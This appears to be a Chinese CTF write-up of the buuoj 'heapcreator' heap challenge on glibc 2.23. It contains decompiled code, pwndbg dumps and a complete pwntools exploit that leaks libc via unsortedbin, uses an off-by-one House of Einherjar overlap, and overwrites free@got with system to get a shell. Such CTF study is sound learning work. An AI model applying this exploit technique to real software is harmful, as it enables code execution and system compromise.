# 这次刷题记录开始着重整理下在 Glibc-2.23 下的一些利用姿势

说明下 buuoj 的一些不好的地方,buuoj 基本不会给 libc, 而有些没有后门的程序,往往需要去泄露 libc 的基地址,但是最近的一些题目很孬去匹配到正确的版本,我也就不清楚是什么问题了。这里就不过多赘述了,而匹配 libc 就不作为本文的一个要点。我们只要在本地同通过测试就好了

# 浅析

题目环境以及保护
ubuntu16

1
2
3
4
5
6
7
8
9
10
$ checksec --file=heapcreator
[*] '/home/giantbranch/Desktop/buuoj/heapcreater/heapcreator'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
$ file heapcreator
heapcreator: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=5e69111eca74cba2fb372dfcd3a59f93ca58f858, not stripped

程序呢并没有开启 full relro, 这里就首先反映到是不是可以修改函数的 got 表呢?根据题目描述,其实就已经断定了这是一个堆题。

接下来我们就主要看看其逻辑思路了

# main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]

v5 = __readfsqword(0x28u);
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
while ( 1 )
{
menu();
read(0, buf, 4uLL);
switch ( atoi(buf) )
{
case 1:
create_heap();
break;
case 2:
edit_heap();
break;
case 3:
show_heap();
break;
case 4:
delete_heap();
break;
case 5:
exit(0);
default:
puts("Invalid Choice");
break;
}
}
}

经典的分支结构

1
2
3
4
5
6
7
8
9
10
11
12
13
int menu()
{
puts("--------------------------------");
puts(" Heap Creator ");
puts("--------------------------------");
puts(" 1. Create a Heap ");
puts(" 2. Edit a Heap ");
puts(" 3. Show a Heap ");
puts(" 4. Delete a Heap ");
puts(" 5. Exit ");
puts("--------------------------------");
return printf("Your choice :");
}

# Creat

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
unsigned __int64 create_heap()
{
trr *v0; // rbx
int i; // [rsp+4h] [rbp-2Ch]
size_t size; // [rsp+8h] [rbp-28h]
char buf[8]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-18h]

v5 = __readfsqword(0x28u);
for ( i = 0; i <= 9; ++i )
{
if ( !*(&heaparray + i) )
{
*(&heaparray + i) = (trr *)malloc(0x10uLL);
if ( !*(&heaparray + i) )
{
puts("Allocate Error");
exit(1);
}
printf("Size of Heap : ");
read(0, buf, 8uLL);
size = atoi(buf);
v0 = *(&heaparray + i);
v0->ptr = (__int64)malloc(size);
if ( !(*(&heaparray + i))->ptr )
{
puts("Allocate Error");
exit(2);
}
(*(&heaparray + i))->size = size;
printf("Content of heap:");
read_input((*(&heaparray + i))->ptr, size);
puts("SuccessFul");
return __readfsqword(0x28u) ^ v5;
}
}
return __readfsqword(0x28u) ^ v5;
}


ssize_t __fastcall read_input(void *a1, size_t a2)
{
ssize_t result; // rax

result = read(0, a1, a2);
if ( (int)result <= 0 )
{
puts("Error");
_exit(-1);
}
return result;
}

看 creat 的时候,首先可以看看是否存在溢出的可能。但是这道题这里没有什么溢出的可能。但是可以修改堆块的 prev_size

# Edit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
unsigned __int64 edit_heap()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( v1 < 0 || v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&heaparray + v1) )
{
printf("Content of heap : ");
read_input((void *)(*(&heaparray + v1))->ptr, (*(&heaparray + v1))->size + '\x01');// 1字节溢出
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}

但是当我们看到 edit 函数的时候,但到了这里有一个非常显眼的 1 字节溢出,所以后续考虑 OFF_BY_ONE 攻击手法与其他手法配合使用

# Show

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned __int64 show_heap()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( v1 < 0 || v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&heaparray + v1) )
{
printf("Size : %ld\nContent : %s\n", (*(&heaparray + v1))->size, (const char *)(*(&heaparray + v1))->ptr);
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;

show 这里也没有什么特殊的,

# Free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
unsigned __int64 delete_heap()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( v1 < 0 || v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&heaparray + v1) )
{
free((void *)(*(&heaparray + v1))->ptr);
free(*(&heaparray + v1));
*(&heaparray + v1) = 0LL; // 只清空了heaparray,结构体中指针未清空,
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}

free 模块这里,其实仔细看,会发现虽然 free 后将 bss 段上的指针清空了,但是结构体的 ptr 成员并没有清空,但是这了 uaf 并不是很容易利用。因为 bss 段上的指针被清空了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
struct trr{
size_t size; //记录大小
void * ptr; //储存我们输入Content
}


ss:00000000006020A0 ; trr *heaparray
.bss:00000000006020A0 heaparray dq ? ; DATA XREF: create_heap+31↑r
.bss:00000000006020A0 ; create_heap+54↑w ...
.bss:00000000006020A8 db ? ;
.bss:00000000006020A9 db ? ;
.bss:00000000006020AA db ? ;
.bss:00000000006020AB db ? ;
.bss:00000000006020AC db ? ;
.bss:00000000006020AD db ? ;
.bss:00000000006020AE db ? ;
.bss:00000000006020AF db ? ;
.bss:00000000006020B0 db ? ;
.bss:00000000006020B1 db ? ;
.bss:00000000006020B2 db ? ;
.bss:00000000006020B3 db ? ;
.bss:00000000006020B4 db ? ;

题目大概就是这样,初步我们看到了一个 off_by_one 漏洞,以及一个不是很理想 UAF

# pwning

# 开始前的准备

首先这个题并没有后门,那么我们就要去泄露 libc 的基地址。然后再去考虑其他的

# leak the libc_base

这里我们关注到的是在申请到堆块之后,并没有对其进行初始化,只是对储存有 content 的堆块检查读入的数据是否为 0 字节,也就是说我们至少读入一个字节,不过因为使用的 read 函数,所以不会自动的添加换行符,但这无所谓,这里将一个比较常用的 unsortedbins 泄露基地址 main_arena. 当一个较大的 chunk 超过了 fastbins 的范围,就会被加入 unsortedbins 双链表中。其实,第一个堆块的 fd,bk 指针会指向 main_arena+x,。当我们再次申请到这个 chunk 时,其 fd,bk 指针不会被清空,只是会被我们输入的 content 覆盖。但是我们输入的 content 只检查了至少输入一个字节,而且允许我们输入’\x00’空字符。

那么这里就有了完整的泄露的思路

申请一个 0x80 的堆块(实际得到的 0x90), 然后将其释放。因为这个是一个嵌套的堆块,delete 的时候先释放 content, 再释放 struct

1
2
3
4
5
6
pwndbg> x/4gx 0x2368000			//struct_trr
0x2368000: 0x0000000000000000 0x0000000000000021
0x2368010: 0x0000000000000080 0x0000000002368030
pwndbg> x/4gx 0x2368020 //content
0x2368020: 0x0000000000000000 0x0000000000000091
0x2368030: 0x0000000000000000 0x0000000000000000

free 后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pwndbg> bins
fastbins
0x20: 0x2368000 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x2368020 —▸ 0x7fb1f48beb78 (main_arena+88) ◂— 0x2368020
smallbins
empty
largebins

###########################################################
pwndbg> x/4gx 0x2368020
0x2368020: 0x0000000000000000 0x0000000000000091
0x2368030: 0x00007fb1f48beb78 0x00007fb1f48beb78

重新申请后,只要控制 conten 的长度不会将 bk 指针释放释放,同时字符串可以将 bk 链接起来,就可以再 show 的时候,将 bk 泄露出来

1
2
3
4
5
pwndbg> x/2gx 0x2368010
0x2368010: 0x0000000000000080 0x0000000002368030
pwndbg> x/4gx 0x0000000002368030-0x10
0x2368020: 0x0000000000000000 0x0000000000000091
0x2368030: 0x6161616161616161 0x00007fb1f48beb78

# 关键 point

这个题的关键难点在于适合实现 shell,劫持 malloc_hook 也好,覆盖 got 表也好都需要实现任意地址写,这里我们用到一个 unlink 手法 house_of_einherjar。这项技术使用的前提就是存在溢出,至少 1 字节,来修改一个 allocated_chunk 的 prev_size 和 prev_inuse。

house_of_einherjar======>
而此手法有几个点值得关注,1,我们可以认为的修改一个 allocted_chunk 的 prev_size, 以及 prev_inuse. 我们需要构造一个 fake_chunk (一个方面泄露栈地址,在栈上伪造一个 chunk,这个方法配合修改 eip 使用,但是因为栈的内容会发生变化,就要进一步思考控制具体到哪里。其二可以在 bss 段上伪造 chunk,达到修改全局变量的目的。其三可以控制到 got 表,修改 got 表。其四控制到 malloc_hook,free_hook,reallok_hook, 使用 onegadget)。 prev_size = victim_chunk_size - aimed_address。 同时我们还需要利用 victim 的前一个 allocted chunk A, 申请的大小不要使 16 位对齐,0x10*k+8, 这样就可以在申请到 victim B 后,prev_size 允许被 A 使用,同时可以利用 off_by_one 技术 NULL 溢出修改 B 的 prev_inuse(将其改为 0),这样 unlink 通过 chunk_addr_B - prev_size 定位到 fake_chunk, 因为 bss 以及栈地址通常会比 heap 地址大,所以 prev_size 传入的是一个负数,但是因为 prev_size 是无符号数,发生溢出,就这样虽然我们 free B,向前 unlink,结果其实把后面的 fakechunk 合并到一起,而且新的堆头地址是 fakechunk。注意构造 fake_chunk 时,要保证其可以 pass unlink 的检查

p->fd->bk=p,p->bk->fd=p,p->prev_size = p->bk->size,p->fd->prev_size = p->size, 最简单的就是将 fd、bk 指向自己。unlink 时,不会改变被合并的堆块的数据,只会更改新的堆头数据,此时 fakechunk 就是新的 topchunk

我们在对快中伪造一个个 fakechunk,然后修改 victim_chunk, 这里要注意的是,victim_chunk 必须与 topchunk 相邻,才可以实现 fake_top_chunk. 这里细解释下为什么这样做,这样做的目的是,在 unlink 前,我们已经申请出一些堆块,比如存在一个结构体堆块,而这个堆块的地址比 fakechunk 大,那么 unlink 后,这个堆块的数据不变,但是 topchunk 的位置在这个堆块之前,我们就可以再次利用到这个堆块,换言之,我们申请一个很大堆块,那么刚刚所说 结构体会被包含,当我们编辑这个大堆块的内容时,控制长度就可以将其覆盖,而我们有知道结构体里面还有一个 content 的指针,如果我们把这个覆盖这个指针,就实现了任意地址写。

这里要解决几个问题,每次创建的时候会申请出来两个堆块,一个大小 0x20, 一个为 size。为了溢出,我们就要考虑堆块的布局,这里我提供一种

1
2
3
4
5
6
7
8
9

add(0x80,"\x00") #0
add(0x10,'aaaa') #1
add(0x50,'aaaa') #2
add(0x88,'ssss') #3
free(3)
free(2)
free(1)
free(0)

0 用来 leak libc_base, 我们重复利用,1 我们构造了两个大小相等的堆块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0x21:struct0---> struct1 --->content1 --->struct2 --->struct3 --->0
0x61:conten2 --->0

unsortedbins: content0 --->content3 --->main_arena //(FIFO)

fastbins
0x20: 0x2368000 —▸ 0x23680b0 —▸ 0x23680d0 —▸ 0x23680f0 —▸ 0x2368170 ◂— ...
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x2368110 ◂— 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x2368020 —▸ 0x7fb1f48beb78 (main_arena+88) ◂— 0x2368020

在重新申请堆块的过程中我们还要完成堆地址的泄露,这里其实有两个选择,一种是将 struct 申请作为 content,因为 free 的时候,struct.ptr 没有被清空,可以被泄露。另外一种就是不考虑时那种堆块,只要不是 fastbin 的最后一个,申请出来时,fd 指针没有被清空,此时我们输入的 content 只要时其最低字节就可以(heap 的地址最低三字节一定是 0x000,通过计算 可以得到对低字节)。content3 与 topchunk 相邻,释放后会与其合并,我们不需要考虑,因为 unsortedbin 里只有 0x90 的 content0,只要申请的堆块比他大,就会从 topchunk 获取,因为 0x21 大小的堆块在 fastbin 里面有好几个,就可以是的从 topchunk 连续获得两个较大的堆块,这样 edit 前面堆块就可以完成溢出,fake chunk 的构造需要一定的空间,所以我们使用了 0x50 的堆块。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
fakechunk:0x2368120
pwndbg> x/12gx 0x0000000002368120-0x10
0x2368110: 0x0000000000000000 0x0000000000000061
0x2368120: 0x0000000000000100 0x0000000000000110//fakesize = victim_prev_size
0x2368130: 0x0000000002368120 0x0000000002368120//为了方便绕过检查,fd,bk直接指向fakechunk
0x2368140: 0x0000000002368120 0x0000000002368120
0x2368150: 0x0000000000000000 0x0000000000000000
0x2368160: 0x0000000000000000 0x0000000000000000


fake_size = fake_prev_size = victimchunk-fakechunk
pwndbg> x/18gx 0x00000000023681a0-0x10 //victimchunk
0x2368190: 0x0000000000000000 0x00000000000000a1
0x23681a0: 0x0000000000000000 0x0000000000000000
0x23681b0: 0x0000000000000000 0x0000000000000000
0x23681c0: 0x0000000000000000 0x0000000000000000
0x23681d0: 0x0000000000000000 0x0000000000000000
0x23681e0: 0x0000000000000000 0x0000000000000000
0x23681f0: 0x0000000000000000 0x0000000000000000
0x2368200: 0x0000000000000000 0x0000000000000000
0x2368210: 0x0000000000000000 0x0000000000000000
pwndbg> x/24gx 0x00000000023681a0-0x10 //edit时覆盖victimchunk
0x2368190: 0x0000000000000000 0x00000000000000a1
0x23681a0: 0x0000000000000000 0x0000000000000000
0x23681b0: 0x0000000000000000 0x0000000000000000
0x23681c0: 0x0000000000000000 0x0000000000000000
0x23681d0: 0x0000000000000000 0x0000000000000000
0x23681e0: 0x0000000000000000 0x0000000000000000
0x23681f0: 0x0000000000000000 0x0000000000000000
0x2368200: 0x0000000000000000 0x0000000000000000
0x2368210: 0x0000000000000000 0x0000000000000000
0x2368220: 0x0000000000000000 0x0000000000000000
0x2368230: 0x0000000000000110 0x0000000000000130
0x2368240: 0x0000000000006262 0x0000000000000000



这里就完成了布局,现在只要 free victim_chunk

1
2
3
4
5
6
pwndbg> x/8gx 0x0000000002368120-0x10
0x2368110: 0x0000000000000000 0x0000000000000061
0x2368120: 0x0000000000000100 0x0000000000020ee1
0x2368130: 0x0000000002368120 0x0000000002368120
0x2368140: 0x0000000002368120 0x0000000002368120
//此时fakechunk的size变了,其实这就是fakesize+victim_size+topchunk_size

这个时候我们在申请一个堆块,并填充一些东西(偏移量在调试中查看)

1
2
pad = b"/bin/sh\x00"+ b'\x00' * (0x180-0x130-16) +p64(0x21)+p64(50) +p64(free_got)
add(0x200,pad)

新申请的堆块就是从 fakechunk 开始分配,后面自行调试偏移量

# EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
#context.log_level = 'debug'
r=process('./heapcreator')
elf =ELF("./heapcreator")
free_got = elf.got['free']
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
Gptr = 0x006020A0
def ch(i):
r.sendlineafter("Your choice :",str(i))

def add(size,text):
ch(1)
r.sendlineafter("Size of Heap : ",str(size))
r.sendafter("Content of heap:",text)

def edit(idx,text):
ch(2)
r.sendlineafter("Index :",str(idx))
r.sendafter("Content of heap : ",text)

def show(idx):
ch(3)
r.sendlineafter("Index :",str(idx))

def free(idx):
ch(4)
r.sendlineafter("Index :",str(idx))

#gdb.attach(r,'b malloc')
add(0x80,"\x00")
add(0x10,'aaaa')
add(0x50,'aaaa')
add(0x88,'ssss')
free(0)
add(0x80,'aaaaaaaa')
show(0)

r.recvuntil(b"a"*8)
main_arena = u64(r.recv(6).ljust(8,b'\x00'))
print(hex(main_arena))
offset = 0x7f3d1c53cb78-0x7f3d1c178000
#aimed_addr
malloc_hook=main_arena - 0x68
lib_base = main_arena-offset
print(hex(lib_base))
system_addr= libc.symbols['system']+lib_base
print("system : ",hex(system_addr))
free(3)
free(2)
free(1)
free(0)
add(0x98,"aa")
add(0x10,'\xf0')
show(1)
r.recvuntil("Content : ")
heap_addr = u64(r.recvuntil('\n',drop=True).ljust(8,b'\x00'))-0xf0
print(hex(heap_addr))

add(0x120,"bb")

edit(0,b'\x00' * ( 0x90)+p64(0x110)+p64(0x30))
add(0x50,'aaaa')
edit(3,p64(0x100)+p64(0x110)+p64(heap_addr+0x120)*4)
add(0x60,'aaaa')
free(2)
pad = b"/bin/sh\x00"+ b'\x00' * (0x180-0x130-16) +p64(0x21)+p64(50) +p64(free_got)
add(0x200,pad)

edit(3,p64(system_addr))
free(2)
r.interactive()
Edited on

Give me a cup of [coffee]~( ̄▽ ̄)~*

dreamcat WeChat Pay

WeChat Pay

dreamcat Alipay

Alipay

dreamcat PayPal

PayPal